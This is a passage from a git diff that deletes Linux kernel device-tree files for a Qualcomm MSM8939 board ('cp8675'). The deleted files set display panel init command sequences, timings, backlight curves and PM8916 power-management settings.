02 10 00 - ]; - cm,mdss-livedisplay-cabc-cmd = [ - 29 01 00 00 00 00 02 55 00 - ]; - cm,mdss-livedisplay-cabc-ui-value = <0x01>; - cm,mdss-livedisplay-cabc-image-value = <0x02>; - cm,mdss-livedisplay-cabc-video-value = <0x03>; - cm,mdss-livedisplay-cabc-ce-value = <0x80>; - cm,mdss-livedisplay-post-cmd = [ - 05 01 00 00 00 00 02 29 00 - ]; - qcom,panel-backlight-response-curve = [ - 00 01 02 02 03 03 03 04 - 04 05 06 06 07 08 09 0A - 0A 0B 0C 0C 0D 0D 0E 0E - 0F 0F 0F 10 10 10 10 11 - 11 11 11 12 12 12 12 13 - 13 13 13 14 14 14 15 15 - 15 16 16 16 17 18 18 19 - 1A 1B 1B 1C 1D 1D 1E 1F - 21 21 21 22 23 23 24 25 - 26 26 27 27 28 28 29 29 - 2A 2A 2B 2B 2C 2C 2D 2D - 2E 2E 2F 2F 30 30 31 31 - 31 32 32 33 33 33 34 34 - 34 35 37 38 3A 3B 3D 3E - 3F 40 41 42 43 44 45 46 - 47 48 49 4A 4B 4C 4D 4E - 4F 50 51 51 52 53 54 54 - 55 56 57 57 58 59 5A 5B - 5C 5E 5F 61 62 64 65 67 - 68 6A 6B 6C 6E 6F 71 72 - 74 75 77 78 7A 7B 7D 7E - 7F 81 82 84 85 87 89 8B - 8C 8D 8E 90 91 92 94 95 - 97 98 9A 9B 9D 9E A0 A1 - A3 A4 A5 A7 A8 AA AB AD - AE AF B1 B3 B4 B5 B7 B8 - BA BB BD BE BF C1 C4 C5 - C7 C8 C9 CA CB CD CE D0 - D1 D3 D4 D6 D7 D9 DA DB - DD DE E0 E1 E3 E4 E6 E7 - E9 EA EC ED EE F0 F1 F3 - F4 F6 F7 F9 FA FC FD FF - ]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_lp_mode"; - qcom,panel-alive-reg-content = [ - 0A 01 9C - 0B 01 00 - 0D 01 00 - ]; - qcom,mdss-dsi-panel-status-command = [ - 06 01 00 01 05 00 02 0A 08 - ]; - qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-panel-status-check-mode = "reg_read_yl"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-lane-3-state; - qcom,mdss-dsi-panel-timings = [92 1A 12 00 3E 42 16 1E 14 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x04>; - qcom,mdss-dsi-t-clk-pre = <0x1C>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_dcs"; - qcom,mdss-dsi-reset-sequence = <1 10>, <0 2>, <1 10>; - qcom,mdss-pan-physical-width-dimension = <68>; - qcom,mdss-pan-physical-height-dimension = <121>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/dsi-panel-otm1283a-lide-cpt-hd-550-video.dtsi b/arch/arm/boot/dts/qcom/cp8675/dsi-panel-otm1283a-lide-cpt-hd-550-video.dtsi deleted file mode 100644 index c37a70dff485a..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/dsi-panel-otm1283a-lide-cpt-hd-550-video.dtsi +++ /dev/null @@ -1,329 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_otm1283a_lide_cpt_hd: qcom,mdss_dsi_otm1283a_lide_cpt_hd_video { - qcom,cont-splash-enabled; - qcom,mdss-dsi-panel-name = "LCD_TYPE_OTM1283A_LIDE_CPT_HD_550"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <55>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-dsi-h-front-porch = <44>; - qcom,mdss-dsi-h-back-porch = <42>; - qcom,mdss-dsi-h-pulse-width = <6>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-front-porch = <16>; - qcom,mdss-dsi-v-back-porch = <14>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-pixel-packing = <0>; - qcom,mdss-dsi-on-command = [ - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 04 ff 12 83 01 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 03 ff 12 83 - 29 01 00 00 00 00 02 00 92 - 29 01 00 00 00 00 03 ff 30 02 - 29 01 00 00 00 00 02 00 B9 - 29 01 00 00 00 00 02 B0 51 - 29 01 00 00 00 00 02 00 c6 - 29 01 00 00 00 00 02 B0 03 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 0A c0 00 64 00 10 10 00 64 10 10 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 07 c0 00 5c 00 01 00 04 - 29 01 00 00 00 00 02 00 a4 - 29 01 00 00 00 00 02 c0 22 - 29 01 00 00 00 00 02 00 b3 - 29 01 00 00 00 00 03 c0 00 50 - 29 01 00 00 00 00 02 00 81 - 29 01 00 00 00 00 02 c1 77 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 02 c4 30 - 29 01 00 00 00 00 02 00 81 - 29 01 00 00 00 00 02 c4 82 - 29 01 00 00 00 00 02 00 82 - 29 01 00 00 00 00 02 C4 02 - 29 01 00 00 00 00 02 00 87 - 29 01 00 00 00 00 02 c4 18 - 29 01 00 00 00 00 02 00 8A - 29 01 00 00 00 00 02 c4 40 - 29 01 00 00 00 00 02 00 8b - 29 01 00 00 00 00 02 c4 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 02 c4 52 - 29 01 00 00 00 00 02 00 a0 - 29 01 00 00 00 00 0F c4 05 10 06 02 05 15 10 05 10 07 02 05 15 10 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 03 c4 00 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 05 f5 02 11 02 11 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 02 c5 50 - 29 01 00 00 00 00 02 00 94 - 29 01 00 00 00 00 02 c5 66 - 29 01 00 00 00 00 02 00 91 - 29 01 00 00 00 00 03 c5 46 40 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 03 c5 04 38 - 29 01 00 00 00 00 02 00 b5 - 29 01 00 00 00 00 07 c5 3f ff ff 3f ff ff - 29 01 00 00 00 00 02 00 bb - 29 01 00 00 00 00 02 c5 80 - 29 01 00 00 00 00 02 00 b1 - 29 01 00 00 00 00 02 c6 05 - 29 01 00 00 00 00 02 00 b2 - 29 01 00 00 00 00 05 f5 00 00 00 00 - 29 01 00 00 00 00 02 00 94 - 29 01 00 00 00 00 02 F5 02 - 29 01 00 00 00 00 02 00 BA - 29 01 00 00 00 00 02 F5 03 - 29 01 00 00 00 00 02 00 C3 - 29 01 00 00 00 00 02 F5 81 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 0C cb 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 10 cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 a0 - 29 01 00 00 00 00 10 cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 10 cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 c0 - 29 01 00 00 00 00 10 cb 05 05 05 05 05 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 d0 - 29 01 00 00 00 00 10 cb ff ff ff 00 05 05 05 05 05 05 05 05 00 00 00 - 29 01 00 00 00 00 02 00 e0 - 29 01 00 00 00 00 0F cb 00 00 00 00 00 00 00 ff ff ff 00 05 05 05 - 29 01 00 00 00 00 02 00 f0 - 29 01 00 00 00 00 0C cb ff ff ff ff ff ff ff ff ff ff ff - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 10 cc 02 0a 0c 0e 10 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 10 cc 00 00 00 00 2e 2d 06 01 09 0b 0d 0f 00 00 00 - 29 01 00 00 00 00 02 00 a0 - 29 01 00 00 00 00 0F cc 00 00 00 00 00 00 00 00 00 00 00 2e 2d 05 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 10 cc 05 0f 0d 0b 09 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 c0 - 29 01 00 00 00 00 10 cc 00 00 00 00 2d 2e 01 06 10 0e 0c 0a 00 00 00 - 29 01 00 00 00 00 02 00 d0 - 29 01 00 00 00 00 0F cc 00 00 00 00 00 00 00 00 00 00 00 2d 2e 02 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 0D ce 87 03 10 86 03 10 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 0F ce 35 01 10 35 02 10 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 a0 - 29 01 00 00 00 00 0F ce 38 03 04 f8 00 10 00 38 02 04 f9 00 10 00 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 0F ce 38 01 04 fa 00 10 00 38 00 04 fb 00 10 00 - 29 01 00 00 00 00 02 00 c0 - 29 01 00 00 00 00 0F ce 30 00 04 fc 00 10 00 30 01 04 fd 00 10 00 - 29 01 00 00 00 00 02 00 d0 - 29 01 00 00 00 00 0F ce 30 02 04 fe 00 10 00 30 03 04 ff 00 10 00 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 0F cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 0F cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 a0 - 29 01 00 00 00 00 0F cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 0F cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 c0 - 29 01 00 00 00 00 0C cf 01 01 20 20 00 00 01 81 00 03 08 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 03 d8 b6 b6 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 d9 6a - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 11 E1 02 0a 10 0d 06 0f 0B 0b 02 06 0B 08 0F 12 0c 06 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 11 E2 02 0a 10 0d 06 0f 0B 0A 03 06 0b 08 0F 11 0c 06 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 22 EC 40 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 04 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 22 ED 40 43 34 44 43 34 44 43 34 44 43 34 44 43 34 44 34 44 43 34 44 43 34 44 43 34 44 43 34 44 43 34 04 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 22 EE 40 44 34 44 44 44 44 43 44 44 44 34 44 44 44 44 34 44 44 44 44 43 44 44 44 34 44 44 44 44 43 44 04 - 29 01 00 00 00 00 02 00 a0 - 29 01 00 00 00 00 0D D6 01 CD 01 CD 01 CD 01 CD 01 CD 01 CD - 29 01 00 00 00 00 02 00 B0 - 29 01 00 00 00 00 0D D6 01 CD 01 CD 01 CD 01 CD 01 CD 01 CD - 29 01 00 00 00 00 02 00 C0 - 29 01 00 00 00 00 0D D6 89 11 89 89 11 89 89 11 89 89 11 89 - 29 01 00 00 00 00 02 00 D0 - 29 01 00 00 00 00 07 D6 89 11 89 89 11 89 - 29 01 00 00 00 00 02 00 E0 - 29 01 00 00 00 00 0D D6 44 11 44 44 11 44 44 11 44 44 11 44 - 29 01 00 00 00 00 02 00 F0 - 29 01 00 00 00 00 07 D6 44 11 44 44 11 44 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 02 D6 80 - 29 01 00 00 00 00 02 00 81 - 29 01 00 00 00 00 03 D6 03 FF - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 1D CA 01 8E 95 9D A4 AB B2 BA C1 C8 CF D7 DE E5 EC F4 E8 FF 87 FF 87 FF 05 03 05 03 05 03 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 10 - 29 01 00 00 00 00 13 C7 90 A9 AA AA AA AA AA AA 99 88 88 88 77 66 55 55 55 55 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 11 - 29 01 00 00 00 00 13 C7 90 99 AA AA AA AA AA 9A 99 88 88 88 77 66 66 55 55 55 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 12 - 29 01 00 00 00 00 13 C7 90 99 A9 AA AA AA AA 99 99 88 88 88 77 66 66 66 55 55 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 13 - 29 01 00 00 00 00 13 C7 90 99 99 AA AA AA 9A 99 99 88 88 88 77 66 66 66 66 55 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 14 - 29 01 00 00 00 00 13 C7 90 99 99 A9 AA AA 99 99 99 88 88 88 77 66 66 66 66 66 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 15 - 29 01 00 00 00 00 13 C7 90 99 99 99 AA 9A 99 99 99 88 88 88 77 77 66 66 66 66 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 16 - 29 01 00 00 00 00 13 C7 90 99 99 99 A9 99 99 99 99 88 88 88 77 77 77 66 66 66 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 00 17 - 29 01 00 00 00 00 13 C7 80 99 99 99 99 99 99 99 99 88 88 88 77 77 77 77 66 66 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 00 18 - 29 01 00 00 00 00 13 C7 80 98 99 99 99 98 99 99 99 88 88 88 77 77 77 77 77 66 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 19 - 29 01 00 00 00 00 13 C7 80 88 99 99 99 88 99 99 99 88 88 88 77 77 77 77 77 77 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 1A - 29 01 00 00 00 00 13 C7 80 88 98 99 99 88 98 99 99 88 88 88 88 77 77 77 77 77 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 1B - 29 01 00 00 00 00 13 C7 80 88 88 99 99 88 88 99 99 88 88 88 88 88 77 77 77 77 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 1C - 29 01 00 00 00 00 13 C7 80 88 88 98 99 88 88 98 99 88 88 88 88 88 88 77 77 77 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 00 1D - 29 01 00 00 00 00 13 C7 80 88 88 88 99 88 88 88 99 88 88 88 88 88 88 88 77 77 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 1E - 29 01 00 00 00 00 13 C7 80 88 88 88 98 88 88 88 98 88 88 88 88 88 88 88 78 78 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 1F - 29 01 00 00 00 00 13 C7 80 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 00 - 29 01 00 00 00 00 02 00 C2 - 29 01 00 00 00 00 02 F5 C0 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 02 C4 01 - 29 01 00 00 00 00 02 00 88 - 29 01 00 00 00 00 02 C4 80 - 29 01 00 00 00 00 02 00 A0 - 29 01 00 00 00 00 02 C1 02 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 04 ff ff ff ff - 29 01 00 00 00 00 02 51 00 - 29 01 00 00 00 00 02 53 24 - 05 01 00 00 01 00 02 11 00 - ]; - qcom,mdss-dsi-off-command = [ - 05 01 00 00 14 00 02 28 00 - 05 01 00 00 78 00 02 10 00 - ]; - cm,mdss-livedisplay-cabc-cmd = [ - 29 01 00 00 00 00 02 55 00 - ]; - cm,mdss-livedisplay-cabc-ui-value = <0x01>; - cm,mdss-livedisplay-cabc-image-value = <0x02>; - cm,mdss-livedisplay-cabc-video-value = <0x03>; - cm,mdss-livedisplay-cabc-ce-value = <0x80>; - cm,mdss-livedisplay-post-cmd = [ - 05 01 00 00 00 00 02 29 00 - ]; - qcom,panel-backlight-response-curve = [ - 00 01 01 02 02 03 03 04 - 04 05 06 06 06 07 07 08 - 08 09 09 0A 0A 0B 0B 0C - 0C 0C 0C 0C 0C 0C 0C 0C - 0D 0D 0D 0D 0E 0E 0E 0E - 0E 0F 0F 10 11 12 12 13 - 14 15 15 16 17 18 18 19 - 1A 1B 1B 1C 1D 1D 1E 1F - 21 21 21 22 23 23 24 25 - 26 26 27 27 28 28 29 29 - 2A 2A 2B 2B 2C 2C 2D 2D - 2E 2E 2F 2F 30 30 31 31 - 31 32 32 33 33 33 34 34 - 34 35 37 38 3A 3B 3D 3E - 3F 40 41 42 43 44 45 46 - 47 48 49 4A 4B 4C 4D 4E - 4F 50 51 51 52 53 54 54 - 55 56 57 57 58 59 5A 5B - 5C 5E 5F 61 62 64 65 67 - 68 6A 6B 6C 6E 6F 71 72 - 74 75 77 78 7A 7B 7D 7E - 7F 81 82 84 85 87 89 8B - 8C 8D 8E 90 91 92 94 95 - 97 98 9A 9B 9D 9E A0 A1 - A3 A4 A5 A7 A8 AA AB AD - AE AF B1 B3 B4 B5 B7 B8 - BA BB BD BE BF C1 C4 C5 - C7 C8 C9 CA CB CD CE D0 - D1 D3 D4 D6 D7 D9 DA DB - DD DE E0 E1 E3 E4 E6 E7 - E9 EA EC ED EE F0 F1 F3 - F4 F6 F7 F9 FA FC FD FF - ]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_lp_mode"; - qcom,panel-alive-reg-content = [ - 0A 01 9C - 0B 01 00 - 0D 01 00 - ]; - qcom,mdss-dsi-panel-status-command = [ - 06 01 00 01 05 00 02 0A 08 - ]; - qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-panel-status-check-mode = "reg_read_yl"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-lane-3-state; - qcom,mdss-dsi-panel-timings = [81 20 18 00 30 2E 1C 22 27 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x20>; - qcom,mdss-dsi-t-clk-pre = <0x2C>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_dcs"; - qcom,mdss-dsi-reset-sequence = <1 10>, <0 2>, <1 10>; - qcom,mdss-pan-physical-width-dimension = <68>; - qcom,mdss-pan-physical-height-dimension = <121>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/dsi-panel-r63315-tianma-tm-fhd-550-video.dtsi b/arch/arm/boot/dts/qcom/cp8675/dsi-panel-r63315-tianma-tm-fhd-550-video.dtsi deleted file mode 100644 index 8ed5d5b67dddd..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/dsi-panel-r63315-tianma-tm-fhd-550-video.dtsi +++ /dev/null @@ -1,143 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_r63315_tianma_tm_fhd: qcom,mdss_dsi_r63315_tianma_tm_fhd_video { - qcom,cont-splash-enabled; - qcom,mdss-dsi-panel-name = "LCD_TYPE_1080P_4055505"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <1080>; - qcom,mdss-dsi-panel-height = <1920>; - qcom,mdss-dsi-h-front-porch = <96>; - qcom,mdss-dsi-h-back-porch = <45>; - qcom,mdss-dsi-h-pulse-width = <15>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-front-porch = <6>; - qcom,mdss-dsi-v-back-porch = <4>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-pixel-packing = <0>; - qcom,mdss-dsi-on-command = [ - 29 01 00 00 00 00 02 b0 04 - 29 01 00 00 00 00 02 d6 01 - 29 01 00 00 00 00 07 B8 07 90 1E 10 1E 32 - 29 01 00 00 00 00 07 B9 07 82 3C 10 3C 87 - 29 01 00 00 00 00 07 BA 07 78 64 10 64 B4 - 29 01 00 00 00 00 1A D3 1B 33 BB BB B3 33 33 33 00 01 00 A0 C8 A0 0D 46 46 33 3B 37 72 57 3D BF 33 - 29 01 00 00 00 00 1F C7 00 11 19 22 30 3E 48 58 3E 47 54 62 6C 74 76 00 11 19 22 30 3E 48 58 3E 47 54 62 6C 74 76 - 29 01 00 00 00 00 14 C8 01 00 01 00 03 FC 00 00 01 00 FF B4 00 00 00 03 09 E7 00 - 29 01 00 00 00 00 21 CA 01 80 DC F0 D0 F0 D0 F0 08 08 14 8A 0A 4A 37 A0 55 F8 0C 0C 20 10 3F 3F 19 D6 10 10 3F 3F 3F 3F - 39 01 00 00 00 00 02 35 00 - 39 01 00 00 00 00 02 36 00 - 39 01 00 00 00 00 02 51 00 - 39 01 00 00 00 00 02 53 24 - 05 01 00 00 78 00 02 11 00 - ]; - qcom,mdss-dsi-off-command = [ - 05 01 00 00 14 00 02 28 00 - 29 01 00 00 14 00 1A D3 13 33 BB B3 B3 33 33 33 00 01 00 A0 C8 A0 0D 46 46 33 3B 37 72 57 3D BF 33 - 05 01 00 00 78 00 02 10 00 - ]; - cm,mdss-livedisplay-cabc-cmd = [ - 29 01 00 00 00 00 02 55 00 - ]; - cm,mdss-livedisplay-cabc-ui-value = <1>; - cm,mdss-livedisplay-cabc-image-value = <2>; - cm,mdss-livedisplay-cabc-video-value = <3>; - cm,mdss-livedisplay-color-enhance-on = [ - 29 01 00 00 00 00 02 81 81 - ]; - cm,mdss-livedisplay-color-enhance-off = [ - 29 01 00 00 00 00 02 81 00 - ]; - cm,mdss-livedisplay-post-cmd = [ - 05 01 00 00 14 00 02 29 00 - ]; - qcom,panel-backlight-response-curve = [ - 00 01 02 03 04 05 05 05 - 05 05 05 05 06 07 08 08 - 09 09 0A 0A 0B 0B 0C 0C - 0C 0C 0C 0C 0C 0C 0C 0C - 0D 0D 0D 0D 0E 0E 0E 0E - 0E 0F 0F 10 11 12 12 13 - 14 15 15 16 17 18 18 19 - 1A 1B 1B 1C 1D 1D 1E 1F - 21 21 21 22 23 23 24 25 - 26 26 27 27 28 28 29 29 - 2A 2A 2A 2B 2B 2B 2C 2C - 2C 2D 2D 2D 2E 2E 2F 2F - 2F 30 30 31 31 31 32 33 - 34 35 37 38 3A 3B 3D 3E - 3F 40 41 42 43 44 45 46 - 47 48 49 4A 4B 4C 4D 4E - 4F 50 51 51 52 53 54 54 - 55 56 57 57 58 59 5A 5B - 5C 5E 5F 61 62 64 65 67 - 68 6A 6B 6C 6E 6F 71 72 - 74 75 77 78 7A 7B 7D 7E - 7F 81 82 84 85 87 89 8B - 8C 8D 8E 90 91 92 94 95 - 97 98 9A 9B 9D 9E A0 A1 - A3 A4 A5 A7 A8 AA AB AD - AE AF B1 B3 B4 B5 B7 B8 - BA BB BD BE BF C1 C4 C5 - C7 C8 C9 CA CB CD CE D0 - D1 D3 D4 D6 D7 D9 DA DB - DD DE E0 E1 E3 E4 E6 E7 - E8 E9 EA EA EB EB EC EC - ED EE EF F0 F1 F2 F3 F4 - ]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - /* - qcom,panel-alive-reg-content = [ - 0A 01 9C - 0B 01 00 - 0D 01 00 - ]; - */ - qcom,mdss-dsi-panel-status-command = [06 01 00 01 05 00 02 0A 08]; - qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-panel-status-check-mode = "reg_read"; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-lane-3-state; - qcom,mdss-dsi-panel-timings = [E7 36 24 00 66 6A 2A 3A 2D 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x20>; - qcom,mdss-dsi-t-clk-pre = <0x2C>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_dcs"; - qcom,mdss-dsi-reset-sequence = <1 10>, <0 20>, <1 20>; - qcom,mdss-pan-physical-width-dimension = <68>; - qcom,mdss-pan-physical-height-dimension = <121>; - qcom,mdss-dsi-lp11-init; - qcom,mdss-dsi-init-delay-us = <200>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/msm-pm8916-cp8675.dtsi b/arch/arm/boot/dts/qcom/cp8675/msm-pm8916-cp8675.dtsi deleted file mode 100644 index 55fe911a487cb..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/msm-pm8916-cp8675.dtsi +++ /dev/null @@ -1,49 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&spmi_bus { - qcom,pm8916@0 { - pm8916_rtc: qcom,pm8916_rtc { - qcom,qpnp-rtc-alarm-pwrup = <1>; - }; - - pm8916_vadc: vadc@3100 { - qcom,vadc-recalib-check; - }; - - pm8916_adc_tm: vadc@3400 { - qcom,adc-tm-recalib-check; - }; - - pm8916_vbus: yl,vbus { - spmi-dev-container; - compatible = "yulong,yl_pm8916_vbus"; - #address-cells = <1>; - #size-cells = <1>; - status = "ok"; - qcom,chg-vadc = <&pm8916_vadc>; - qcom,bat-if@1200 { - reg = <0x1200 0x100>; - }; - qcom,usb-chgpth@1300 { - reg = <0x1300 0x100>; - interrupts = <0 0x13 0x2>, - <0 0x13 0x1>; - interrupt-names = "chg-gone", - "usbin-valid"; - }; - qcom,vm-bms@4000 { - reg = <0x4000 0x100>; - }; - }; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/msm8939-audio-internal_codec-cp8675.dtsi b/arch/arm/boot/dts/qcom/cp8675/msm8939-audio-internal_codec-cp8675.dtsi deleted file mode 100644 index 